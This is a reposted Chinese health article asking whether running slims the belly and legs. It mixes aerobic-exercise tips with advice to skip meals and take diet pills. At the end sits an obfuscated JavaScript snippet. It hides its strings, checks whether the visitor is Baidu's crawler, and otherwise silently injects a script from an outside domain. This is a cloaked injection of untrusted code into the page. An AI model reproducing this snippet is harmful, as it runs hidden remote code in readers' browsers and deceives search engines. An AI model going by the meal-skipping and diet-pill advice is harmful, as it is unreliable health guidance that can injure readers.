當(dāng)前位置:首頁 > 健康 > 運(yùn)動健身 > 正文

跑步能減肚子和腿的嗎?

2017-04-15 09:18:05  來源:360常識網(wǎng)   熱度:
導(dǎo)語:跑步是很多人都喜歡的一種運(yùn)動,跑步不僅可以鍛煉身體,也可以讓自己身心放松等,大家在生活中可以去跑跑步,不僅運(yùn)動,而且愉悅自己,而且

跑步是很多人都喜歡的一種運(yùn)動,跑步不僅可以鍛煉身體,也可以讓自己身心放松等,大家在生活中可以去跑跑步,不僅運(yùn)動,而且愉悅自己,而且跑步是有一定的可能進(jìn)行減肚子和大腿的,大家在生活中要好好鍛煉等,接下來讓小編為大家介紹跑步能減肚子和腿么這方面的知識、

跑步是會慢慢減掉你肚子上的肉的,但是過程會很慢的,你要有足夠的信心和忍耐力方可成功。并且不是說你做了大量運(yùn)動就可以瘦下來的,在飲食上也需做出調(diào)節(jié)的,飯一定要少吃尤其剛運(yùn)動完和晚飯盡量都不要吃的。如果你覺得做起來很難你可以用減肥藥+少食這2種方法配合起來雙管齊下來減肥的效果會非常不錯的。

對減肥最有效的運(yùn)動就是有氧運(yùn)動,尤其是消耗能量較多的運(yùn)動!有氧運(yùn)動減肥:例如慢跑、爬山、快步走、球類運(yùn)動、游泳等,每次運(yùn)動最好一次持續(xù)做完,中間不要停止,且每次運(yùn)動消耗熱量須達(dá)300仟卡,通常這種運(yùn)動量會造成心跳加快,或流汗的程度,這些都是有氧運(yùn)動減肥的范疇。

步驟/方法

1、有氧運(yùn)動減肥會提高人體的新陳代謝率,但其效果最多只有兩天,因此運(yùn)動最重要的是要持之以恒,如果不能每天做最少兩天也要做一次。

對于一個極度胖的人,即使是走路可能都是很大負(fù)擔(dān),因此選擇運(yùn)動種類時,要量力而為,還是要以身體能負(fù)荷為主,逐漸加大運(yùn)動量,以免心臟肺臟負(fù)荷不了,或是肌肉關(guān)節(jié)受傷。

2、在我們實行有氧運(yùn)動減肥的過程中可以配合使用一些效果顯著的減肥產(chǎn)品。

有氧運(yùn)動減肥,每種運(yùn)動消耗的熱量;以下列舉數(shù)種能消耗300千卡的運(yùn)動:

慢跑30~50分鐘。

看了以上的有關(guān)于跑步能減肚子和腿嗎相關(guān)問題,有沒有幫助到大家一些呢,大家在生活中不管處于什么目的,運(yùn)動對于大家的身體都是有一定的好處的,大家在生活可以把握住現(xiàn)在可以肆無忌憚的運(yùn)動的年紀(jì),在運(yùn)動的時候要注意自己的飲食情況等。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}